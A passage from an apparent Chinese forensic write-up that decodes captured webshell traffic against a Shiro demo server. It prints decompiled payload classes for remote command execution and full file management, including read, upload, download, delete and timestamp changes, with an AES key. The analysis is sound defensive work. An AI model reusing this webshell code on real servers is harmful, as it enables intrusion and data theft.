GljaTgrYzNWdUxtSnZiM1F1YkdsaWNtRnllUzV3WVhSb0lEMGdMM1Z6Y2k5c2FXSXZhblp0TDJwaGRtRXRPQzF2Y0dWdWFtUnJMV0Z0WkRZMEwycHlaUzlzYVdJdllXMWtOalE4WW5JdlBtcGhkbUV1ZG0wdWRtVnljMmx2YmlBOUlESTFMakV3TWkxaU1UUThZbkl2UG1waGRtRXVkbTB1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXFZWFpoTG5abGJtUnZjaTUxY213Z1BTQm9kSFJ3T2k4dmFtRjJZUzV2Y21GamJHVXVZMjl0THp4aWNpOCtjR0YwYUM1elpYQmhjbUYwYjNJZ1BTQTZQR0p5THo1cVlYWmhMblp0TG01aGJXVWdQU0JQY0dWdVNrUkxJRFkwTFVKcGRDQlRaWEoyWlhJZ1ZrMDhZbkl2UG1acGJHVXVaVzVqYjJScGJtY3VjR3RuSUQwZ2MzVnVMbWx2UEdKeUx6NXpkVzR1YW1GMllTNXNZWFZ1WTJobGNpQTlJRk5WVGw5VFZFRk9SRUZTUkR4aWNpOCtjM1Z1TG05ekxuQmhkR05vTG14bGRtVnNJRDBnZFc1cmJtOTNianhpY2k4K1VFbEVJRDBnTVR4aWNpOCthbUYyWVM1MmJTNXpjR1ZqYVdacFkyRjBhVzl1TG01aGJXVWdQU0JLWVhaaElGWnBjblIxWVd3Z1RXRmphR2x1WlNCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1MWMyVnlMbVJwY2lBOUlDODhZbkl2UG1waGRtRXVjblZ1ZEdsdFpTNTJaWEp6YVc5dUlEMGdNUzQ0TGpCZk1UQXlMVGgxTVRBeUxXSXhOQzR4TFRGK1luQnZPQ3N4TFdJeE5EeGljaTgrYW1GMllTNWhkM1F1WjNKaGNHaHBZM05sYm5ZZ1BTQnpkVzR1WVhkMExsZ3hNVWR5WVhCb2FXTnpSVzUyYVhKdmJtMWxiblE4WW5JdlBtcGhkbUV1Wlc1a2IzSnpaV1F1WkdseWN5QTlJQzkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwyVnVaRzl5YzJWa1BHSnlMejV2Y3k1aGNtTm9JRDBnWVcxa05qUThZbkl2UG1waGRtRXVhVzh1ZEcxd1pHbHlJRDBnTDNSdGNEeGljaTgrYkdsdVpTNXpaWEJoY21GMGIzSWdQU0FLUEdKeUx6NXFZWFpoTG5adExuTndaV05wWm1sallYUnBiMjR1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXZjeTV1WVcxbElEMGdUR2x1ZFhnOFluSXZQbk4xYmk1cWJuVXVaVzVqYjJScGJtY2dQU0JWVkVZdE9EeGljaTgrYzNCeWFXNW5MbUpsWVc1cGJtWnZMbWxuYm05eVpTQTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWJHbGljbUZ5ZVM1d1lYUm9JRDBnTDNWemNpOXFZWFpoTDNCaFkydGhaMlZ6TDJ4cFlpOWhiV1EyTkRvdmRYTnlMMnhwWWk5NE9EWmZOalF0YkdsdWRYZ3RaMjUxTDJwdWFUb3ZiR2xpTDNnNE5sODJOQzFzYVc1MWVDMW5iblU2TDNWemNpOXNhV0l2ZURnMlh6WTBMV3hwYm5WNExXZHVkVG92ZFhOeUwyeHBZaTlxYm1rNkwyeHBZam92ZFhOeUwyeHBZanhpY2k4K2FtRjJZUzV6Y0dWamFXWnBZMkYwYVc5dUxtNWhiV1VnUFNCS1lYWmhJRkJzWVhSbWIzSnRJRUZRU1NCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1cVlYWmhMbU5zWVhOekxuWmxjbk5wYjI0Z1BTQTFNaTR3UEdKeUx6NXpkVzR1YldGdVlXZGxiV1Z1ZEM1amIyMXdhV3hsY2lBOUlFaHZkRk53YjNRZ05qUXRRbWwwSUZScFpYSmxaQ0JEYjIxd2FXeGxjbk04WW5JdlBtOXpMblpsY25OcGIyNGdQU0EyTGpndU1DMDRPQzFuWlc1bGNtbGpQR0p5THo1MWMyVnlMbWh2YldVZ1BTQXZjbTl2ZER4aWNpOCtZMkYwWVd4cGJtRXVkWE5sVG1GdGFXNW5JRDBnWm1Gc2MyVThZbkl2UG5WelpYSXVkR2x0WlhwdmJtVWdQU0JGZEdNdlZWUkRQR0p5THo1cVlYWmhMbUYzZEM1d2NtbHVkR1Z5YW05aUlEMGdjM1Z1TG5CeWFXNTBMbEJUVUhKcGJuUmxja3B2WWp4aWNpOCtabWxzWlM1bGJtTnZaR2x1WnlBOUlGVlVSaTA0UEdKeUx6NXFZWFpoTG5Od1pXTnBabWxqWVhScGIyNHVkbVZ5YzJsdmJpQTlJREV1T0R4aWNpOCtZMkYwWVd4cGJtRXVhRzl0WlNBOUlDOTBiWEF2ZEc5dFkyRjBMakl6TnpFMk9EYzJOekV5T1RBNU9EQXpPVEF1T0RBNE1EeGljaTgrYW1GMllTNWpiR0Z6Y3k1d1lYUm9JRDBnTDNOb2FYSnZaR1Z0YnkweExqQXRVMDVCVUZOSVQxUXVhbUZ5UEdKeUx6NTFjMlZ5TG01aGJXVWdQU0J5YjI5MFBHSnlMejVxWVhaaExuWnRMbk53WldOcFptbGpZWFJwYjI0dWRtVnljMmx2YmlBOUlERXVPRHhpY2k4K2MzVnVMbXBoZG1FdVkyOXRiV0Z1WkNBOUlDOXphR2x5YjJSbGJXOHRNUzR3TFZOT1FWQlRTRTlVTG1waGNqeGljaTgrYW1GMllTNW9iMjFsSUQwZ0wzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrYzNWdUxtRnlZMmd1WkdGMFlTNXRiMlJsYkNBOUlEWTBQR0p5THo1MWMyVnlMbXhoYm1kMVlXZGxJRDBnWlc0OFluSXZQbXBoZG1FdWMzQmxZMmxtYVdOaGRHbHZiaTUyWlc1a2IzSWdQU0JQY21GamJHVWdRMjl5Y0c5eVlYUnBiMjQ4WW5JdlBtRjNkQzUwYjI5c2EybDBJRDBnYzNWdUxtRjNkQzVZTVRFdVdGUnZiMnhyYVhROFluSXZQbXBoZG1FdWRtMHVhVzVtYnlBOUlHMXBlR1ZrSUcxdlpHVThZbkl2UG1waGRtRXVkbVZ5YzJsdmJpQTlJREV1T0M0d1h6RXdNanhpY2k4K2FtRjJZUzVsZUhRdVpHbHljeUE5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMlY0ZERvdmRYTnlMMnBoZG1FdmNHRmphMkZuWlhNdmJHbGlMMlY0ZER4aWNpOCtjM1Z1TG1KdmIzUXVZMnhoYzNNdWNHRjBhQ0E5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMM0psYzI5MWNtTmxjeTVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2Y25RdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwzTjFibkp6WVhOcFoyNHVhbUZ5T2k5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMnB6YzJVdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwycGpaUzVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2WTJoaGNuTmxkSE11YW1GeU9pOTFjM0l2YkdsaUwycDJiUzlxWVhaaExUZ3RiM0JsYm1wa2F5MWhiV1EyTkM5cWNtVXZiR2xpTDJwbWNpNXFZWEk2TDNWemNpOXNhV0l2YW5adEwycGhkbUV0T0MxdmNHVnVhbVJyTFdGdFpEWTBMMnB5WlM5amJHRnpjMlZ6UEdKeUx6NXFZWFpoTG1GM2RDNW9aV0ZrYkdWemN5QTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWRtVnVaRzl5SUQwZ1QzSmhZMnhsSUVOdmNuQnZjbUYwYVc5dVBHSnlMejVqWVhSaGJHbHVZUzVpWVhObElEMGdMM1J0Y0M5MGIyMWpZWFF1TWpNM01UWTROelkzTVRJNU1EazRNRE01TUM0NE1EZ3dQR0p5THo1bWFXeGxMbk5sY0dGeVlYUnZjaUE5SUM4OFluSXZQbXBoZG1FdWRtVnVaRzl5TG5WeWJDNWlkV2NnUFNCb2RIUndPaTh2WW5WbmNtVndiM0owTG5OMWJpNWpiMjB2WW5WbmNtVndiM0owTHp4aWNpOCtjM1Z1TG1sdkxuVnVhV052WkdVdVpXNWpiMlJwYm1jZ1BTQlZibWxqYjJSbFRHbDBkR3hsUEdKeUx6NXpkVzR1WTNCMUxtVnVaR2xoYmlBOUlHeHBkSFJzWlR4aWNpOCtjM1Z1TG1Od2RTNXBjMkZzYVhOMElEMGdQR0p5THo0PSJ9","status":"c3VjY2Vzcw=="} 对msgBase64解密得到： {"osInfo":"TGludXg2LjguMC04OC1nZW5lcmljYW1kNjQ=","driveList":"Lzs=","localIp":"MTcyLjE4LjAuMg==","currentPath":"Lw==","arch":"YW1kNjQ=","basicInfo":"PGJyLz48Zm9udCBzaXplPTIgY29sb3I9cmVkPueOr+Wig+WPmOmHjzo8L2ZvbnQ+PGJyLz5QQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2Jpbjxici8+SE9TVE5BTUU9MDk3MDU2YTgzODkxPGJyLz5KQVZBX0RFQklBTl9WRVJTSU9OPTh1MTAyLWIxNC4xLTF+YnBvOCsxPGJyLz5KQVZBX0hPTUU9L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+Q0FfQ0VSVElGSUNBVEVTX0pBVkFfVkVSU0lPTj0yMDE0MDMyNDxici8+SkFWQV9WRVJTSU9OPTh1MTAyPGJyLz5MQU5HPUMuVVRGLTg8YnIvPkhPTUU9L3Jvb3Q8YnIvPjxici8+PGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5KUkXns7vnu5/lsZ7mgKc6PC9mb250Pjxici8+amF2YS5ydW50aW1lLm5hbWUgPSBPcGVuSkRLIFJ1bnRpbWUgRW52aXJvbm1lbnQ8YnIvPmphdmEucHJvdG9jb2wuaGFuZGxlci5wa2dzID0gb3JnLnNwcmluZ2ZyYW1ld29yay5ib290LmxvYWRlcjxici8+c3VuLmJvb3QubGlicmFyeS5wYXRoID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvYW1kNjQ8YnIvPmphdmEudm0udmVyc2lvbiA9IDI1LjEwMi1iMTQ8YnIvPmphdmEudm0udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLnZlbmRvci51cmwgPSBodHRwOi8vamF2YS5vcmFjbGUuY29tLzxici8+cGF0aC5zZXBhcmF0b3IgPSA6PGJyLz5qYXZhLnZtLm5hbWUgPSBPcGVuSkRLIDY0LUJpdCBTZXJ2ZXIgVk08YnIvPmZpbGUuZW5jb2RpbmcucGtnID0gc3VuLmlvPGJyLz5zdW4uamF2YS5sYXVuY2hlciA9IFNVTl9TVEFOREFSRDxici8+c3VuLm9zLnBhdGNoLmxldmVsID0gdW5rbm93bjxici8+UElEID0gMTxici8+amF2YS52bS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFZpcnR1YWwgTWFjaGluZSBTcGVjaWZpY2F0aW9uPGJyLz51c2VyLmRpciA9IC88YnIvPmphdmEucnVudGltZS52ZXJzaW9uID0gMS44LjBfMTAyLTh1MTAyLWIxNC4xLTF+YnBvOCsxLWIxNDxici8+amF2YS5hd3QuZ3JhcGhpY3NlbnYgPSBzdW4uYXd0LlgxMUdyYXBoaWNzRW52aXJvbm1lbnQ8YnIvPmphdmEuZW5kb3JzZWQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2VuZG9yc2VkPGJyLz5vcy5hcmNoID0gYW1kNjQ8YnIvPmphdmEuaW8udG1wZGlyID0gL3RtcDxici8+bGluZS5zZXBhcmF0b3IgPSAKPGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5vcy5uYW1lID0gTGludXg8YnIvPnN1bi5qbnUuZW5jb2RpbmcgPSBVVEYtODxici8+c3ByaW5nLmJlYW5pbmZvLmlnbm9yZSA9IHRydWU8YnIvPmphdmEubGlicmFyeS5wYXRoID0gL3Vzci9qYXZhL3BhY2thZ2VzL2xpYi9hbWQ2NDovdXNyL2xpYi94ODZfNjQtbGludXgtZ251L2puaTovbGliL3g4Nl82NC1saW51eC1nbnU6L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudTovdXNyL2xpYi9qbmk6L2xpYjovdXNyL2xpYjxici8+amF2YS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFBsYXRmb3JtIEFQSSBTcGVjaWZpY2F0aW9uPGJyLz5qYXZhLmNsYXNzLnZlcnNpb24gPSA1Mi4wPGJyLz5zdW4ubWFuYWdlbWVudC5jb21waWxlciA9IEhvdFNwb3QgNjQtQml0IFRpZXJlZCBDb21waWxlcnM8YnIvPm9zLnZlcnNpb24gPSA2LjguMC04OC1nZW5lcmljPGJyLz51c2VyLmhvbWUgPSAvcm9vdDxici8+Y2F0YWxpbmEudXNlTmFtaW5nID0gZmFsc2U8YnIvPnVzZXIudGltZXpvbmUgPSBFdGMvVVRDPGJyLz5qYXZhLmF3dC5wcmludGVyam9iID0gc3VuLnByaW50LlBTUHJpbnRlckpvYjxici8+ZmlsZS5lbmNvZGluZyA9IFVURi04PGJyLz5qYXZhLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+Y2F0YWxpbmEuaG9tZSA9IC90bXAvdG9tY2F0LjIzNzE2ODc2NzEyOTA5ODAzOTAuODA4MDxici8+amF2YS5jbGFzcy5wYXRoID0gL3NoaXJvZGVtby0xLjAtU05BUFNIT1QuamFyPGJyLz51c2VyLm5hbWUgPSByb290PGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+c3VuLmphdmEuY29tbWFuZCA9IC9zaGlyb2RlbW8tMS4wLVNOQVBTSE9ULmphcjxici8+amF2YS5ob21lID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+c3VuLmFyY2guZGF0YS5tb2RlbCA9IDY0PGJyLz51c2VyLmxhbmd1YWdlID0gZW48YnIvPmphdmEuc3BlY2lmaWNhdGlvbi52ZW5kb3IgPSBPcmFjbGUgQ29ycG9yYXRpb248YnIvPmF3dC50b29sa2l0ID0gc3VuLmF3dC5YMTEuWFRvb2xraXQ8YnIvPmphdmEudm0uaW5mbyA9IG1peGVkIG1vZGU8YnIvPmphdmEudmVyc2lvbiA9IDEuOC4wXzEwMjxici8+amF2YS5leHQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2V4dDovdXNyL2phdmEvcGFja2FnZXMvbGliL2V4dDxici8+c3VuLmJvb3QuY2xhc3MucGF0aCA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3Jlc291cmNlcy5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvcnQuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3N1bnJzYXNpZ24uamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pzc2UuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pjZS5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvY2hhcnNldHMuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pmci5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9jbGFzc2VzPGJyLz5qYXZhLmF3dC5oZWFkbGVzcyA9IHRydWU8YnIvPmphdmEudmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5jYXRhbGluYS5iYXNlID0gL3RtcC90b21jYXQuMjM3MTY4NzY3MTI5MDk4MDM5MC44MDgwPGJyLz5maWxlLnNlcGFyYXRvciA9IC88YnIvPmphdmEudmVuZG9yLnVybC5idWcgPSBodHRwOi8vYnVncmVwb3J0LnN1bi5jb20vYnVncmVwb3J0Lzxici8+c3VuLmlvLnVuaWNvZGUuZW5jb2RpbmcgPSBVbmljb2RlTGl0dGxlPGJyLz5zdW4uY3B1LmVuZGlhbiA9IGxpdHRsZTxici8+c3VuLmNwdS5pc2FsaXN0ID0gPGJyLz4="} 再分别Base64解密，可得到LinuxInfo为Linux6.8.0-88-genericamd64，DriveList为/;，LocalIP为172.18.0.2，等等。证明上述确实是读取系统信息。 接着继续解密并逆向，发现执行了一些系统命令： ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(4).ico.class */ public class Zsiywhq { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Zsiywhq() { cmd = ""; cmd += "cd / ;whoami"; path = ""; path += "/"; } ... private String RunCMD(String cmd2) throws Exception { Process p; Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); String result = ""; if (cmd2 != null && cmd2.length() > 0) { if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd2}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd2}); } BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset)); String line = br.readLine(); while (true) { String disr = line; if (disr == null) { break; } result = result + disr + "\n"; line = br.readLine(); } BufferedReader br2 = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset)); String line2 = br2.readLine(); while (true) { String disr2 = line2; if (disr2 == null) { break; } result = result + disr2 + "\n"; line2 = br2.readLine(); } } return result; } ... } 找下来发现总共执行了这些： cd / ;whoami root cd / ;w 05:58:16 up 9 days, 2:05, 0 users, load average: 0.35, 0.63, 0.29 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT cd / ;ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 1 03:43 ? 00:01:36 java -jar /shirodemo-1.0-SNAPSHOT.jar root 95 1 0 05:58 ? 00:00:00 /bin/sh -c cd / ;ps -ef root 96 95 0 05:58 ? 00:00:00 ps -ef 没什么用。接着发现接下来内容有了新的模式： {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长，不想看可以折叠 package sun.suh.tgvtrk; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.ByteBuffer; import java.nio.channels.FileChannel; import java.nio.charset.Charset; import java.nio.file.LinkOption; import java.nio.file.Path; import java.security.MessageDigest; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Random; import java.util.Set; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(10).ico.class */ public class Mcuygmskgn { public static String mode; public static String path; public static String newPath; public static String content; public static String charset; public static String hash; public static String blockIndex; public static String blockSize; public static String createTimeStamp; public static String modifyTimeStamp; public static String accessTimeStamp; private Object Request; private Object Response; private Object Session; private Charset osCharset; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Mcuygmskgn() { mode = ""; mode += "list"; path = ""; path += "/"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap(); try { try { fillContext(obj); if (mode.equalsIgnoreCase("list")) { result.put("msg", list()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("show")) { result.put("msg", show()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("checkExist")) { result.put("msg", checkExist(path)); result.put("status", "success"); } else if (mode.equalsIgnoreCase("delete")) { result = delete(); } else if (mode.equalsIgnoreCase("create")) { result.put("msg", create()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("append")) { result.put("msg", append()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("update")) { updateFile(); result.put("msg", "ok"); result.put("status", "success"); } else if (mode.equalsIgnoreCase("downloadPart")) { result.put("msg", downloadPart(path, Long.parseLong(blockIndex), Long.parseLong(blockSize))); result.put("status", "success"); } else { if (mode.equalsIgnoreCase("download")) { download(); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); } catch (Exception e) { e.printStackTrace(); } return true; } if (mode.equalsIgnoreCase("rename")) { result = renameFile(); } else if (mode.equalsIgnoreCase("createFile")) { result.put("msg", createFile()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("compress")) { zipFile(path, true); result.put("msg", "ok"); result.put("status", "success"); } else if (mode.equalsIgnoreCase("createDirectory")) { result.put("msg", createDirectory()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("getTimeStamp")) { result.put("msg", getTimeStamp()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("updateTimeStamp")) { result.put("msg", updateTimeStamp()); result.put("status", "success"); } else if (mode.equalsIgnoreCase("check")) { result.put("msg", checkFileHash(path)); result.put("status", "success"); } } try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e2) { e2.printStackTrace(); return true; } } catch (Throwable e3) { e3.printStackTrace(); result.put("msg", e3.getMessage()); result.put("status", "fail"); try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); return true; } catch (Exception e4) { e4.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so4 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write4 = so4.getClass().getMethod("write", byte[].class); write4.invoke(so4, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so4.getClass().getMethod("flush", new Class[0]).invoke(so4, new Object[0]); so4.getClass().getMethod("close", new Class[0]).invoke(so4, new Object[0]); } catch (Exception e5) { e5.printStackTrace(); } throw th; } } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } private void updateFile() throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path); if (ch == null) { FileOutputStream fos = new FileOutputStream(path); ch = fos.getChannel(); sessionSetAttribute(this.Session, "fos", fos); sessionSetAttribute(this.Session, path, ch); } synchronized (ch) { ch.position(Integer.parseInt(blockIndex) * Integer.parseInt(blockSize)); ch.write(ByteBuffer.wrap(base64decode(content))); } } private Map<String, String> warpFileObj(File file) { Map<String, String> obj = new HashMap<>(); obj.put("type", file.isDirectory() ? "directory" : "file"); obj.put("name", file.getName()); obj.put("size", file.length() + ""); obj.put("perm", getFilePerm(file)); obj.put("lastModified", new SimpleDateFormat("yyyy/MM/dd HH:mm:ss").format(new Date(file.lastModified()))); return obj; } private boolean isOldJava() { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { return false; } return true; } private String checkExist(String path2) throws Exception { File file = new File(path2); if (file.exists()) { return file.length() + ""; } throw new Exception(""); } private String getFilePerm(File file) throws IllegalAccessException, ClassNotFoundException, IllegalArgumentException, InvocationTargetException { String permStr = ""; if (isWindows()) { try { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } catch (Error e) { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/-"; } } else { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { try { getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); getClass(); Class PosixFileAttributesCls = Class.forName("java.nio.file.attribute.PosixFileAttributes"); getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); getClass(); Class PosixFilePermissionsCls = Class.forName("java.nio.file.attribute.PosixFilePermissions"); Object f = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]); Object result = PosixFilePermissionsCls.getMethod("toString", Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod("permissions", new Class[0]).invoke(attrs, new Object[0])); permStr = result.toString(); } catch (Exception e2) { } } else { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } } return permStr; } private String list() throws Exception { File f = new File(path); List<Map<String, String>> objArr = new ArrayList<>(); objArr.add(warpFileObj(new File("."))); objArr.add(warpFileObj(new File(".."))); if (f.isDirectory() && f.listFiles() != null) { for (File temp : f.listFiles()) { objArr.add(warpFileObj(temp)); } } String result = buildJsonArray(objArr, true); return result; } private String show() throws Exception { byte[] fileContent = getFileData(path); return base64encode(fileContent); } private byte[] getFileData(String path2) throws IOException { ByteArrayOutputStream output = new ByteArrayOutputStream(); FileInputStream fis = new FileInputStream(new File(path2)); while (true) { int data = fis.read(); if (data != -1) { output.write(data); } else { fis.close(); return output.toByteArray(); } } } private String create() throws Exception { FileOutputStream fso = new FileOutputStream(path); fso.write(base64decode(content)); fso.flush(); fso.close(); String result = path + "上传完成，远程文件大小:" + new File(path).length(); return result; } private Map<String, String> renameFile() throws Exception { Map<String, String> result = new HashMap<>(); File oldFile = new File(path); File newFile = new File(newPath); if (oldFile.exists() && (oldFile.isFile() & oldFile.renameTo(newFile))) { result.put("status", "success"); result.put("msg", "重命名完成:" + newPath); } else { result.put("status", "fail"); result.put("msg", "重命名失败:" + newPath); } return result; } private String createFile() throws Exception { FileOutputStream fso = new FileOutputStream(path); fso.close(); String result = path + "创建完成"; return result; } private String createDirectory() throws Exception { File dir = new File(path); dir.mkdirs(); String result = path + "创建完成"; return result; } private void download() throws Exception { FileInputStream fis = new FileInputStream(path); Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); while (true) { int data = fis.read(); if (data != -1) { write.invoke(so, Integer.valueOf(data)); } else { so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); fis.close(); return; } } } private String append() throws Exception { FileOutputStream fso = new FileOutputStream(path, true); fso.write(base64decode(content)); fso.flush(); fso.close(); String result = path + "追加完成，远程文件大小:" + new File(path).length(); return result; } private Map<String, String> delete() throws Exception { 